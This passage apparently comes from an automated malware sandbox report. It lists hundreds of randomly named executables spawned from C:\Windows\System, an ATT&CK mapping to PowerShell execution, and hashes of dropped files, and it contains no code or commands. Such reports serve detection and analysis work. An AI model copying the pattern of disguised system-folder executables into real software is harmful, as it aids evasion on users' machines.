  C:\Windows\System\WZhhUeC.exe
  2⤵
  PID:6500
- C:\Windows\System\aiMwkLk.exe
  C:\Windows\System\aiMwkLk.exe
  2⤵
  PID:7992
- C:\Windows\System\tjjJWAV.exe
  C:\Windows\System\tjjJWAV.exe
  2⤵
  PID:8020
- C:\Windows\System\Nafbvmb.exe
  C:\Windows\System\Nafbvmb.exe
  2⤵
  PID:7552
- C:\Windows\System\tCRXzCz.exe
  C:\Windows\System\tCRXzCz.exe
  2⤵
  PID:6176
- C:\Windows\System\MHEnqYW.exe
  C:\Windows\System\MHEnqYW.exe
  2⤵
  PID:7232
- C:\Windows\System\uqFUGgj.exe
  C:\Windows\System\uqFUGgj.exe
  2⤵
  PID:7244
- C:\Windows\System\csYrNRW.exe
  C:\Windows\System\csYrNRW.exe
  2⤵
  PID:7556
- C:\Windows\System\LzrNNWJ.exe
  C:\Windows\System\LzrNNWJ.exe
  2⤵
  PID:7508
- C:\Windows\System\oSddQwx.exe
  C:\Windows\System\oSddQwx.exe
  2⤵
  PID:7684
- C:\Windows\System\haDGZSw.exe
  C:\Windows\System\haDGZSw.exe
  2⤵
  PID:7656
- C:\Windows\System\dkzrkke.exe
  C:\Windows\System\dkzrkke.exe
  2⤵
  PID:7752
- C:\Windows\System\cFMwVwx.exe
  C:\Windows\System\cFMwVwx.exe
  2⤵
  PID:7844
- C:\Windows\System\IuziUur.exe
  C:\Windows\System\IuziUur.exe
  2⤵
  PID:8004
- C:\Windows\System\KggEfwB.exe
  C:\Windows\System\KggEfwB.exe
  2⤵
  PID:7260
- C:\Windows\System\iPlRbNh.exe
  C:\Windows\System\iPlRbNh.exe
  2⤵
  PID:7344
- C:\Windows\System\gyFDsDn.exe
  C:\Windows\System\gyFDsDn.exe
  2⤵
  PID:8116
- C:\Windows\System\JJTZtul.exe
  C:\Windows\System\JJTZtul.exe
  2⤵
  PID:7652
- C:\Windows\System\kLdVhkK.exe
  C:\Windows\System\kLdVhkK.exe
  2⤵
  PID:7828
- C:\Windows\System\yQIIyId.exe
  C:\Windows\System\yQIIyId.exe
  2⤵
  PID:7592
- C:\Windows\System\dyESwsd.exe
  C:\Windows\System\dyESwsd.exe
  2⤵
  PID:7896
- C:\Windows\System\cxFYttq.exe
  C:\Windows\System\cxFYttq.exe
  2⤵
  PID:8072
- C:\Windows\System\cyUALRo.exe
  C:\Windows\System\cyUALRo.exe
  2⤵
  PID:8200
- C:\Windows\System\hofWcbd.exe
  C:\Windows\System\hofWcbd.exe
  2⤵
  PID:8216
- C:\Windows\System\cUidmUF.exe
  C:\Windows\System\cUidmUF.exe
  2⤵
  PID:8232
- C:\Windows\System\QvmFJmz.exe
  C:\Windows\System\QvmFJmz.exe
  2⤵
  PID:8248
- C:\Windows\System\ZUApmtQ.exe
  C:\Windows\System\ZUApmtQ.exe
  2⤵
  PID:8268
- C:\Windows\System\PpcXOPj.exe
  C:\Windows\System\PpcXOPj.exe
  2⤵
  PID:8284
- C:\Windows\System\CMmumpd.exe
  C:\Windows\System\CMmumpd.exe
  2⤵
  PID:8300
- C:\Windows\System\VOZXmOX.exe
  C:\Windows\System\VOZXmOX.exe
  2⤵
  PID:8316
- C:\Windows\System\AxTPkhf.exe
  C:\Windows\System\AxTPkhf.exe
  2⤵
  PID:8332
- C:\Windows\System\LEOXQxu.exe
  C:\Windows\System\LEOXQxu.exe
  2⤵
  PID:8348
- C:\Windows\System\lsXwdcN.exe
  C:\Windows\System\lsXwdcN.exe
  2⤵
  PID:8364
- C:\Windows\System\CgIwxfJ.exe
  C:\Windows\System\CgIwxfJ.exe
  2⤵
  PID:8380
- C:\Windows\System\HbcpKxO.exe
  C:\Windows\System\HbcpKxO.exe
  2⤵
  PID:8396
- C:\Windows\System\LlVNYBr.exe
  C:\Windows\System\LlVNYBr.exe
  2⤵
  PID:8412
- C:\Windows\System\NcdoGHs.exe
  C:\Windows\System\NcdoGHs.exe
  2⤵
  PID:8428
- C:\Windows\System\DqMNXtQ.exe
  C:\Windows\System\DqMNXtQ.exe
  2⤵
  PID:8444
- C:\Windows\System\Gnhgzyu.exe
  C:\Windows\System\Gnhgzyu.exe
  2⤵
  PID:8460
- C:\Windows\System\AidqdvN.exe
  C:\Windows\System\AidqdvN.exe
  2⤵
  PID:8476
- C:\Windows\System\CEUJEMy.exe
  C:\Windows\System\CEUJEMy.exe
  2⤵
  PID:8492
- C:\Windows\System\JfTzFBa.exe
  C:\Windows\System\JfTzFBa.exe
  2⤵
  PID:8508
- C:\Windows\System\nbRnpyD.exe
  C:\Windows\System\nbRnpyD.exe
  2⤵
  PID:8524
- C:\Windows\System\RwZtDdU.exe
  C:\Windows\System\RwZtDdU.exe
  2⤵
  PID:8540
- C:\Windows\System\aQIkBpb.exe
  C:\Windows\System\aQIkBpb.exe
  2⤵
  PID:8564
- C:\Windows\System\ohvynoQ.exe
  C:\Windows\System\ohvynoQ.exe
  2⤵
  PID:8584
- C:\Windows\System\CDrupVB.exe
  C:\Windows\System\CDrupVB.exe
  2⤵
  PID:8604
- C:\Windows\System\EVPTfda.exe
  C:\Windows\System\EVPTfda.exe
  2⤵
  PID:8620
- C:\Windows\System\YpRZpDI.exe
  C:\Windows\System\YpRZpDI.exe
  2⤵
  PID:8648
- C:\Windows\System\fjnJNkF.exe
  C:\Windows\System\fjnJNkF.exe
  2⤵
  PID:8664
- C:\Windows\System\xBQerDV.exe
  C:\Windows\System\xBQerDV.exe
  2⤵
  PID:8680
- C:\Windows\System\gEyyNSk.exe
  C:\Windows\System\gEyyNSk.exe
  2⤵
  PID:8696
- C:\Windows\System\XGkSTuf.exe
  C:\Windows\System\XGkSTuf.exe
  2⤵
  PID:8712
- C:\Windows\System\boaUdvR.exe
  C:\Windows\System\boaUdvR.exe
  2⤵
  PID:8728
- C:\Windows\System\UqyTGoY.exe
  C:\Windows\System\UqyTGoY.exe
  2⤵
  PID:8744
- C:\Windows\System\jJkjvVB.exe
  C:\Windows\System\jJkjvVB.exe
  2⤵
  PID:8760
- C:\Windows\System\OTsJbIK.exe
  C:\Windows\System\OTsJbIK.exe
  2⤵
  PID:8776
- C:\Windows\System\oxCrohv.exe
  C:\Windows\System\oxCrohv.exe
  2⤵
  PID:8792
- C:\Windows\System\diStpXT.exe
  C:\Windows\System\diStpXT.exe
  2⤵
  PID:8808
- C:\Windows\System\nWUgMVP.exe
  C:\Windows\System\nWUgMVP.exe
  2⤵
  PID:8824
- C:\Windows\System\LIvrvgY.exe
  C:\Windows\System\LIvrvgY.exe
  2⤵
  PID:8840
- C:\Windows\System\JrjLsji.exe
  C:\Windows\System\JrjLsji.exe
  2⤵
  PID:8856
- C:\Windows\System\QBStkML.exe
  C:\Windows\System\QBStkML.exe
  2⤵
  PID:8876
- C:\Windows\System\mNtQUKE.exe
  C:\Windows\System\mNtQUKE.exe
  2⤵
  PID:8892
- C:\Windows\System\OdBmTPN.exe
  C:\Windows\System\OdBmTPN.exe
  2⤵
  PID:8908
- C:\Windows\System\OoBOinL.exe
  C:\Windows\System\OoBOinL.exe
  2⤵
  PID:8924
- C:\Windows\System\aIkCpwj.exe
  C:\Windows\System\aIkCpwj.exe
  2⤵
  PID:8940
- C:\Windows\System\QSOeMUO.exe
  C:\Windows\System\QSOeMUO.exe
  2⤵
  PID:8956
- C:\Windows\System\OUmgLpw.exe
  C:\Windows\System\OUmgLpw.exe
  2⤵
  PID:8972
- C:\Windows\System\HGSAFdZ.exe
  C:\Windows\System\HGSAFdZ.exe
  2⤵
  PID:8988
- C:\Windows\System\NWOvHSP.exe
  C:\Windows\System\NWOvHSP.exe
  2⤵
  PID:9004
- C:\Windows\System\zAdpYtR.exe
  C:\Windows\System\zAdpYtR.exe
  2⤵
  PID:9020
- C:\Windows\System\xZbJTPZ.exe
  C:\Windows\System\xZbJTPZ.exe
  2⤵
  PID:9036
- C:\Windows\System\baWDjGi.exe
  C:\Windows\System\baWDjGi.exe
  2⤵
  PID:9052
- C:\Windows\System\LsuSnUV.exe
  C:\Windows\System\LsuSnUV.exe
  2⤵
  PID:9068
- C:\Windows\System\xpVsQIM.exe
  C:\Windows\System\xpVsQIM.exe
  2⤵
  PID:9084
- C:\Windows\System\quLjILR.exe
  C:\Windows\System\quLjILR.exe
  2⤵
  PID:9100
- C:\Windows\System\DlQHBNY.exe
  C:\Windows\System\DlQHBNY.exe
  2⤵
  PID:9116
- C:\Windows\System\pgVqWKB.exe
  C:\Windows\System\pgVqWKB.exe
  2⤵
  PID:9132
- C:\Windows\System\vVsnlDm.exe
  C:\Windows\System\vVsnlDm.exe
  2⤵
  PID:9148
- C:\Windows\System\BBLcvTs.exe
  C:\Windows\System\BBLcvTs.exe
  2⤵
  PID:9168
- C:\Windows\System\ilXtoCq.exe
  C:\Windows\System\ilXtoCq.exe
  2⤵
  PID:9184
- C:\Windows\System\SQlyOSf.exe
  C:\Windows\System\SQlyOSf.exe
  2⤵
  PID:9200
- C:\Windows\System\KIxIsNO.exe
  C:\Windows\System\KIxIsNO.exe
  2⤵
  PID:8212
- C:\Windows\System\jzkeltB.exe
  C:\Windows\System\jzkeltB.exe
  2⤵
  PID:8280
- C:\Windows\System\BtjSoyd.exe
  C:\Windows\System\BtjSoyd.exe
  2⤵
  PID:8340
- C:\Windows\System\xDFVbbs.exe
  C:\Windows\System\xDFVbbs.exe
  2⤵
  PID:8292
- C:\Windows\System\tjerwEb.exe
  C:\Windows\System\tjerwEb.exe
  2⤵
  PID:8136
- C:\Windows\System\bzZmeEX.exe
  C:\Windows\System\bzZmeEX.exe
  2⤵
  PID:8224
- C:\Windows\System\kOyeqOU.exe
  C:\Windows\System\kOyeqOU.exe
  2⤵
  PID:8436
- C:\Windows\System\YodvRMD.exe
  C:\Windows\System\YodvRMD.exe
  2⤵
  PID:8196
- C:\Windows\System\OCUzGEb.exe
  C:\Windows\System\OCUzGEb.exe
  2⤵
  PID:8472
- C:\Windows\System\zFlxcfN.exe
  C:\Windows\System\zFlxcfN.exe
  2⤵
  PID:8388
- C:\Windows\System\DovfDyK.exe
  C:\Windows\System\DovfDyK.exe
  2⤵
  PID:8484
- C:\Windows\System\QBGidKV.exe
  C:\Windows\System\QBGidKV.exe
  2⤵
  PID:8516
- C:\Windows\System\csPHUQj.exe
  C:\Windows\System\csPHUQj.exe
  2⤵
  PID:8560
- C:\Windows\System\TFzbTwh.exe
  C:\Windows\System\TFzbTwh.exe
  2⤵
  PID:8592
- C:\Windows\System\etwZgui.exe
  C:\Windows\System\etwZgui.exe
  2⤵
  PID:8556
- C:\Windows\System\FJxLPyJ.exe
  C:\Windows\System\FJxLPyJ.exe
  2⤵
  PID:8656
- C:\Windows\System\qYjAmWt.exe
  C:\Windows\System\qYjAmWt.exe
  2⤵
  PID:8720
- C:\Windows\System\oymCwri.exe
  C:\Windows\System\oymCwri.exe
  2⤵
  PID:8784
- C:\Windows\System\IuLfCcw.exe
  C:\Windows\System\IuLfCcw.exe
  2⤵
  PID:8848
- C:\Windows\System\fEAdjyo.exe
  C:\Windows\System\fEAdjyo.exe
  2⤵
  PID:8672
- C:\Windows\System\sKpdmgh.exe
  C:\Windows\System\sKpdmgh.exe
  2⤵
  PID:8676
- C:\Windows\System\MqvkLlR.exe
  C:\Windows\System\MqvkLlR.exe
  2⤵
  PID:8736
- C:\Windows\System\JkfuiAB.exe
  C:\Windows\System\JkfuiAB.exe
  2⤵
  PID:8768
- C:\Windows\System\oAuRPgq.exe
  C:\Windows\System\oAuRPgq.exe
  2⤵
  PID:8804
- C:\Windows\System\GGszbrn.exe
  C:\Windows\System\GGszbrn.exe
  2⤵
  PID:8864
- C:\Windows\System\QXpRNPS.exe
  C:\Windows\System\QXpRNPS.exe
  2⤵
  PID:8932
- C:\Windows\System\LPPWGyE.exe
  C:\Windows\System\LPPWGyE.exe
  2⤵
  PID:8980
- C:\Windows\System\yJWcOXs.exe
  C:\Windows\System\yJWcOXs.exe
  2⤵
  PID:9048
- C:\Windows\System\zVEzivO.exe
  C:\Windows\System\zVEzivO.exe
  2⤵
  PID:9112
- C:\Windows\System\XKjQrBe.exe
  C:\Windows\System\XKjQrBe.exe
  2⤵
  PID:9208
- C:\Windows\System\XyJodPZ.exe
  C:\Windows\System\XyJodPZ.exe
  2⤵
  PID:9212
- C:\Windows\System\hGovqiU.exe
  C:\Windows\System\hGovqiU.exe
  2⤵
  PID:7540
- C:\Windows\System\ofCacux.exe
  C:\Windows\System\ofCacux.exe
  2⤵
  PID:9028
- C:\Windows\System\GzTzqPQ.exe
  C:\Windows\System\GzTzqPQ.exe
  2⤵
  PID:8424
- C:\Windows\System\StYQmvJ.exe
  C:\Windows\System\StYQmvJ.exe
  2⤵
  PID:9164
- C:\Windows\System\DhUBNUe.exe
  C:\Windows\System\DhUBNUe.exe
  2⤵
  PID:9096
- C:\Windows\System\ccflGoA.exe
  C:\Windows\System\ccflGoA.exe
  2⤵
  PID:9156
- C:\Windows\System\agZNoko.exe
  C:\Windows\System\agZNoko.exe
  2⤵
  PID:8184
- C:\Windows\System\yYRVEmB.exe
  C:\Windows\System\yYRVEmB.exe
  2⤵
  PID:8376
- C:\Windows\System\PQwadlQ.exe
  C:\Windows\System\PQwadlQ.exe
  2⤵
  PID:8548
- C:\Windows\System\BYsJwVk.exe
  C:\Windows\System\BYsJwVk.exe
  2⤵
  PID:8532
- C:\Windows\System\LHYcZBz.exe
  C:\Windows\System\LHYcZBz.exe
  2⤵
  PID:8772
- C:\Windows\System\YoXjfHz.exe
  C:\Windows\System\YoXjfHz.exe
  2⤵
  PID:9108
- C:\Windows\System\MYgbHGR.exe
  C:\Windows\System\MYgbHGR.exe
  2⤵
  PID:8468
- C:\Windows\System\yMzHZYX.exe
  C:\Windows\System\yMzHZYX.exe
  2⤵
  PID:8392
- C:\Windows\System\ffKWAlb.exe
  C:\Windows\System\ffKWAlb.exe
  2⤵
  PID:8520
- C:\Windows\System\tDnGCcD.exe
  C:\Windows\System\tDnGCcD.exe
  2⤵
  PID:8504
- C:\Windows\System\CeVIYyL.exe
  C:\Windows\System\CeVIYyL.exe
  2⤵
  PID:6380
- C:\Windows\System\vnzQbpc.exe
  C:\Windows\System\vnzQbpc.exe
  2⤵
  PID:8820
- C:\Windows\System\CGHGKyL.exe
  C:\Windows\System\CGHGKyL.exe
  2⤵
  PID:8692
- C:\Windows\System\SeCMweP.exe
  C:\Windows\System\SeCMweP.exe
  2⤵
  PID:9224
- C:\Windows\System\kJiKiYD.exe
  C:\Windows\System\kJiKiYD.exe
  2⤵
  PID:9240
- C:\Windows\System\MtVlDOZ.exe
  C:\Windows\System\MtVlDOZ.exe
  2⤵
  PID:9260
- C:\Windows\System\kBdwsAQ.exe
  C:\Windows\System\kBdwsAQ.exe
  2⤵
  PID:9280
- C:\Windows\System\EjqHrXq.exe
  C:\Windows\System\EjqHrXq.exe
  2⤵
  PID:9296
- C:\Windows\System\zjcQKsu.exe
  C:\Windows\System\zjcQKsu.exe
  2⤵
  PID:9312
- C:\Windows\System\JsRHHUS.exe
  C:\Windows\System\JsRHHUS.exe
  2⤵
  PID:9332
- C:\Windows\System\TvCWPlO.exe
  C:\Windows\System\TvCWPlO.exe
  2⤵
  PID:9348
- C:\Windows\System\mqyclAJ.exe
  C:\Windows\System\mqyclAJ.exe
  2⤵
  PID:9364
- C:\Windows\System\FVfIUFw.exe
  C:\Windows\System\FVfIUFw.exe
  2⤵
  PID:9380
- C:\Windows\System\KLjPRYa.exe
  C:\Windows\System\KLjPRYa.exe
  2⤵
  PID:9396
- C:\Windows\System\KXlYxaw.exe
  C:\Windows\System\KXlYxaw.exe
  2⤵
  PID:9412
- C:\Windows\System\umeThtB.exe
  C:\Windows\System\umeThtB.exe
  2⤵
  PID:9428
- C:\Windows\System\kBozAmT.exe
  C:\Windows\System\kBozAmT.exe
  2⤵
  PID:9444
- C:\Windows\System\SCMftZL.exe
  C:\Windows\System\SCMftZL.exe
  2⤵
  PID:9460
- C:\Windows\System\oEHkzIg.exe
  C:\Windows\System\oEHkzIg.exe
  2⤵
  PID:9476
- C:\Windows\System\bnWcgwz.exe
  C:\Windows\System\bnWcgwz.exe
  2⤵
  PID:9492
- C:\Windows\System\LzsGZxr.exe
  C:\Windows\System\LzsGZxr.exe
  2⤵
  PID:9508
- C:\Windows\System\cDdGezH.exe
  C:\Windows\System\cDdGezH.exe
  2⤵
  PID:9524
- C:\Windows\System\vzdaBwx.exe
  C:\Windows\System\vzdaBwx.exe
  2⤵
  PID:9540
- C:\Windows\System\HCVNYRv.exe
  C:\Windows\System\HCVNYRv.exe
  2⤵
  PID:9556
- C:\Windows\System\ZNRjhBr.exe
  C:\Windows\System\ZNRjhBr.exe
  2⤵
  PID:9572
- C:\Windows\System\KJBzaif.exe
  C:\Windows\System\KJBzaif.exe
  2⤵
  PID:9588
- C:\Windows\System\LGYpqDy.exe
  C:\Windows\System\LGYpqDy.exe
  2⤵
  PID:9604
- C:\Windows\System\tDtSfeb.exe
  C:\Windows\System\tDtSfeb.exe
  2⤵
  PID:9620
- C:\Windows\System\NbDoVgn.exe
  C:\Windows\System\NbDoVgn.exe
  2⤵
  PID:9636
- C:\Windows\System\EQgldtd.exe
  C:\Windows\System\EQgldtd.exe
  2⤵
  PID:9652
- C:\Windows\System\WzRlMPV.exe
  C:\Windows\System\WzRlMPV.exe
  2⤵
  PID:9668
- C:\Windows\System\oaDHXuS.exe
  C:\Windows\System\oaDHXuS.exe
  2⤵
  PID:9684
- C:\Windows\System\ufFiZda.exe
  C:\Windows\System\ufFiZda.exe
  2⤵
  PID:9764
- C:\Windows\System\ycGVvne.exe
  C:\Windows\System\ycGVvne.exe
  2⤵
  PID:9780
- C:\Windows\System\ZIiVyRm.exe
  C:\Windows\System\ZIiVyRm.exe
  2⤵
  PID:9800
- C:\Windows\System\SvkpbTM.exe
  C:\Windows\System\SvkpbTM.exe
  2⤵
  PID:9816
- C:\Windows\System\poYdRLC.exe
  C:\Windows\System\poYdRLC.exe
  2⤵
  PID:9832
- C:\Windows\System\WDxlkrq.exe
  C:\Windows\System\WDxlkrq.exe
  2⤵
  PID:9848
- C:\Windows\System\rRETmmg.exe
  C:\Windows\System\rRETmmg.exe
  2⤵
  PID:9864
- C:\Windows\System\XcreEih.exe
  C:\Windows\System\XcreEih.exe
  2⤵
  PID:9880
- C:\Windows\System\oxyBOjb.exe
  C:\Windows\System\oxyBOjb.exe
  2⤵
  PID:9908
- C:\Windows\System\tPMsINn.exe
  C:\Windows\System\tPMsINn.exe
  2⤵
  PID:9936
- C:\Windows\System\MnuLVQK.exe
  C:\Windows\System\MnuLVQK.exe
  2⤵
  PID:9952
- C:\Windows\System\njkCXlB.exe
  C:\Windows\System\njkCXlB.exe
  2⤵
  PID:9968
- C:\Windows\System\SqYtVuf.exe
  C:\Windows\System\SqYtVuf.exe
  2⤵
  PID:9992
- C:\Windows\System\uFRtWbl.exe
  C:\Windows\System\uFRtWbl.exe
  2⤵
  PID:10008
- C:\Windows\System\qguGoWw.exe
  C:\Windows\System\qguGoWw.exe
  2⤵
  PID:10024
- C:\Windows\System\udKxCQL.exe
  C:\Windows\System\udKxCQL.exe
  2⤵
  PID:10044
- C:\Windows\System\LbreOqU.exe
  C:\Windows\System\LbreOqU.exe
  2⤵
  PID:10060
- C:\Windows\System\xccozyC.exe
  C:\Windows\System\xccozyC.exe
  2⤵
  PID:10076
- C:\Windows\System\dgbhOHH.exe
  C:\Windows\System\dgbhOHH.exe
  2⤵
  PID:10124
- C:\Windows\System\CQRvquZ.exe
  C:\Windows\System\CQRvquZ.exe
  2⤵
  PID:10140
- C:\Windows\System\HebjKtb.exe
  C:\Windows\System\HebjKtb.exe
  2⤵
  PID:10160
- C:\Windows\System\IcRBKAd.exe
  C:\Windows\System\IcRBKAd.exe
  2⤵
  PID:10176
- C:\Windows\System\ekYdEQC.exe
  C:\Windows\System\ekYdEQC.exe
  2⤵
  PID:10212
- C:\Windows\System\OAUgkeh.exe
  C:\Windows\System\OAUgkeh.exe
  2⤵
  PID:10228
- C:\Windows\System\zLLRFkw.exe
  C:\Windows\System\zLLRFkw.exe
  2⤵
  PID:9044
- C:\Windows\System\rEODTRy.exe
  C:\Windows\System\rEODTRy.exe
  2⤵
  PID:9196
- C:\Windows\System\mqgGshD.exe
  C:\Windows\System\mqgGshD.exe
  2⤵
  PID:8328
- C:\Windows\System\XOllYTt.exe
  C:\Windows\System\XOllYTt.exe
  2⤵
  PID:8756
- C:\Windows\System\htjRYXu.exe
  C:\Windows\System\htjRYXu.exe
  2⤵
  PID:8868
- C:\Windows\System\BGCQaxo.exe
  C:\Windows\System\BGCQaxo.exe
  2⤵
  PID:9324
- C:\Windows\System\lnpSDmx.exe
  C:\Windows\System\lnpSDmx.exe
  2⤵
  PID:9388
- C:\Windows\System\zigqRQB.exe
  C:\Windows\System\zigqRQB.exe
  2⤵
  PID:9452
- C:\Windows\System\IkJoMTp.exe
  C:\Windows\System\IkJoMTp.exe
  2⤵
  PID:9516
- C:\Windows\System\zrlFFCJ.exe
  C:\Windows\System\zrlFFCJ.exe
  2⤵
  PID:9580
- C:\Windows\System\sczCPdr.exe
  C:\Windows\System\sczCPdr.exe
  2⤵
  PID:7688
- C:\Windows\System\vNwasXU.exe
  C:\Windows\System\vNwasXU.exe
  2⤵
  PID:8968
- C:\Windows\System\cBPzkuS.exe
  C:\Windows\System\cBPzkuS.exe
  2⤵
  PID:8836
- C:\Windows\System\MxBxXqE.exe
  C:\Windows\System\MxBxXqE.exe
  2⤵
  PID:8708
- C:\Windows\System\DgIOoGe.exe
  C:\Windows\System\DgIOoGe.exe
  2⤵
  PID:9236
- C:\Windows\System\PTWzDiD.exe
  C:\Windows\System\PTWzDiD.exe
  2⤵
  PID:9680
- C:\Windows\System\LyiyRfK.exe
  C:\Windows\System\LyiyRfK.exe
  2⤵
  PID:9776
- C:\Windows\System\imqSwsD.exe
  C:\Windows\System\imqSwsD.exe
  2⤵
  PID:9872
- C:\Windows\System\nxNXAhd.exe
  C:\Windows\System\nxNXAhd.exe
  2⤵
  PID:9920
- C:\Windows\System\uJWzwnN.exe
  C:\Windows\System\uJWzwnN.exe
  2⤵
  PID:9964
- C:\Windows\System\tIjUtDe.exe
  C:\Windows\System\tIjUtDe.exe
  2⤵
  PID:10036
- C:\Windows\System\LyZHBXf.exe
  C:\Windows\System\LyZHBXf.exe
  2⤵
  PID:8888
- C:\Windows\System\nOuQVeE.exe
  C:\Windows\System\nOuQVeE.exe
  2⤵
  PID:10136
- C:\Windows\System\gThOqVV.exe
  C:\Windows\System\gThOqVV.exe
  2⤵
  PID:7308
- C:\Windows\System\vmwiKvc.exe
  C:\Windows\System\vmwiKvc.exe
  2⤵
  PID:9704
- C:\Windows\System\XSZdVxf.exe
  C:\Windows\System\XSZdVxf.exe
  2⤵
  PID:10020
- C:\Windows\System\wFDPlJb.exe
  C:\Windows\System\wFDPlJb.exe
  2⤵
  PID:9304
- C:\Windows\System\FLHEMFw.exe
  C:\Windows\System\FLHEMFw.exe
  2⤵
  PID:8948
- C:\Windows\System\BpRllHP.exe
  C:\Windows\System\BpRllHP.exe
  2⤵
  PID:9468
- C:\Windows\System\dDseUFd.exe
  C:\Windows\System\dDseUFd.exe
  2⤵
  PID:9600
- C:\Windows\System\LmzZesC.exe
  C:\Windows\System\LmzZesC.exe
  2⤵
  PID:9720
- C:\Windows\System\AurkaRb.exe
  C:\Windows\System\AurkaRb.exe
  2⤵
  PID:9372
- C:\Windows\System\tSFzRgd.exe
  C:\Windows\System\tSFzRgd.exe
  2⤵
  PID:9536
- C:\Windows\System\fKAJTRC.exe
  C:\Windows\System\fKAJTRC.exe
  2⤵
  PID:10120
- C:\Windows\System\hrCGSWl.exe
  C:\Windows\System\hrCGSWl.exe
  2⤵
  PID:10100
- C:\Windows\System\wVGYmSc.exe
  C:\Windows\System\wVGYmSc.exe
  2⤵
  PID:10084
- C:\Windows\System\qLxaPhA.exe
  C:\Windows\System\qLxaPhA.exe
  2⤵
  PID:9976
- C:\Windows\System\iVIwasA.exe
  C:\Windows\System\iVIwasA.exe
  2⤵
  PID:9900
- C:\Windows\System\OspSDbV.exe
  C:\Windows\System\OspSDbV.exe
  2⤵
  PID:9860
- C:\Windows\System\xfOmctW.exe
  C:\Windows\System\xfOmctW.exe
  2⤵
  PID:9796
- C:\Windows\System\dltOHnU.exe
  C:\Windows\System\dltOHnU.exe
  2⤵
  PID:9748
- C:\Windows\System\WHPKuFQ.exe
  C:\Windows\System\WHPKuFQ.exe
  2⤵
  PID:9692
- C:\Windows\System\MyTtxGT.exe
  C:\Windows\System\MyTtxGT.exe
  2⤵
  PID:9732
- C:\Windows\System\czmhDnr.exe
  C:\Windows\System\czmhDnr.exe
  2⤵
  PID:9192
- C:\Windows\System\vZesrnn.exe
  C:\Windows\System\vZesrnn.exe
  2⤵
  PID:10220
- C:\Windows\System\zkseSMd.exe
  C:\Windows\System\zkseSMd.exe
  2⤵
  PID:10192
- C:\Windows\System\zuCtjzC.exe
  C:\Windows\System\zuCtjzC.exe
  2⤵
  PID:8752
- C:\Windows\System\kdyjPqv.exe
  C:\Windows\System\kdyjPqv.exe
  2⤵
  PID:9616
- C:\Windows\System\viaOqcJ.exe
  C:\Windows\System\viaOqcJ.exe
  2⤵
  PID:9812
- C:\Windows\System\cxDRJbS.exe
  C:\Windows\System\cxDRJbS.exe
  2⤵
  PID:10236
- C:\Windows\System\LOfOFPr.exe
  C:\Windows\System\LOfOFPr.exe
  2⤵
  PID:9488
- C:\Windows\System\wpPiXct.exe
  C:\Windows\System\wpPiXct.exe
  2⤵
  PID:9356
- C:\Windows\System\eUmJLBF.exe
  C:\Windows\System\eUmJLBF.exe
  2⤵
  PID:10072
- C:\Windows\System\jKVMvwR.exe
  C:\Windows\System\jKVMvwR.exe
  2⤵
  PID:8916
- C:\Windows\System\qsbvQYu.exe
  C:\Windows\System\qsbvQYu.exe
  2⤵
  PID:9828
- C:\Windows\System\zUbOwcG.exe
  C:\Windows\System\zUbOwcG.exe
  2⤵
  PID:8632
- C:\Windows\System\IQehbVK.exe
  C:\Windows\System\IQehbVK.exe
  2⤵
  PID:9700
- C:\Windows\System\OMraUaS.exe
  C:\Windows\System\OMraUaS.exe
  2⤵
  PID:9440
- C:\Windows\System\mxOMzZU.exe
  C:\Windows\System\mxOMzZU.exe
  2⤵
  PID:9012
- C:\Windows\System\XVetNVA.exe
  C:\Windows\System\XVetNVA.exe
  2⤵
  PID:9344
- C:\Windows\System\MxkMOld.exe
  C:\Windows\System\MxkMOld.exe
  2⤵
  PID:10056
- C:\Windows\System\PPwxHOP.exe
  C:\Windows\System\PPwxHOP.exe
  2⤵
  PID:9712
- C:\Windows\System\vqhfvNn.exe
  C:\Windows\System\vqhfvNn.exe
  2⤵
  PID:10108
- C:\Windows\System\InvBsLm.exe
  C:\Windows\System\InvBsLm.exe
  2⤵
  PID:9564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BUvcRZW.exe

Filesize
1.3MB

MD5
3e03d79ea02143acab19acdb1e3e47c8

SHA1
708b2be4e6aec00c697d7595c55738832840ed8f

SHA256
efb523a963c02a657e288abf69394329be8c0a51cd5e71bab7963c29eb1f3374

SHA512
229f943c96e2e3ae36c649754c6bdc0804af0a54edaff3e15ab00a68d2401b554ef2665b4212c34c0655689f65dba553664244f3d86e56c71914b44682a81233

Download Submit
C:\Windows\system\CJluJSs.exe

Filesize
1.3MB

MD5
50f6a96a2fea0e2e6a55e3bc37404864

SHA1
aeb8b411347340278666cfe9965a7df2830c91b1

SHA256
ed5779d49a7db0f7853f7b33da595d3a1a84239695f5ac6a6354c9d771e5824e

SHA512
eeb3d0b563d2adf626663e5dd745185f7a832fabad904e756a99ff3dd942c151507834f2a4c63f76b72dbed524da88bc01173c291f5e24bef8aae516ec402c7a

Download Submit
C:\Windows\system\CjHsYTg.exe

Filesize
1.3MB

MD5
780a4ab8dac8f6938dd0ec451bff9479

SHA1
3146e061dd5198f6571a5647331ee6647ca83961

SHA256
eafeb436093388685c0f722e1d49313c71168ccd5006123b1f71b11f8fed9641

SHA512
c5e1a906e4150167ced2f831c87a41e0c9d18949e76b64cbf88c45b9d1ed5b7e6f565c33c4897a7866ac2782eced92b40605d322d8b2a5d66e85728a985d0452

Download Submit
C:\Windows\system\DjRGlBI.exe

Filesize
1.3MB

MD5
65b428ba1faf01a8d0839c60e6810d39

SHA1
ff84809df1447b40b44986d9d108c7c2c6779b55

SHA256
0d11fc7c33783c436a96531eefd23dc88db708efc7b9922f7dd8fc5cedb380f7

SHA512
6d069566a9356f1820124b0df1678b59ba3220117493d06fed20da09caea5f8b40115815225670d77e77a63f209e435c8aa7f8155597131761956d4790d5d4a7

Download Submit
C:\Windows\system\FTGjXMp.exe

Filesize
1.3MB

MD5
dd67a86cdb8d88f557d03fb2f333e012

SHA1
d7aa97591c0e7daf684fe261089f6a6aaf3fa5d8

SHA256
3f11532f85a241fe7e9c81368376377ca9c94904727f58a900c13070d30f1341

SHA512
1e9ab2b8e24fe17a07728ab95d2ce1c58f26de46e099fa2fa4ccf3a45b7b8058349e16a5fbdbfc1d80490ba43c036b9dc2476b20f3779c32119ea3d2477d938b

Download Submit
C:\Windows\system\GLwuwSB.exe

Filesize
1.3MB

MD5
184677ff9ba759f41084e28f66e9dbad

SHA1
0a047b53b17abede13b05a77c076f52957265325

SHA256
d994b7cafba496068faf993ec335b31bcb2ce760887efd81c9ff8b27a35347b1

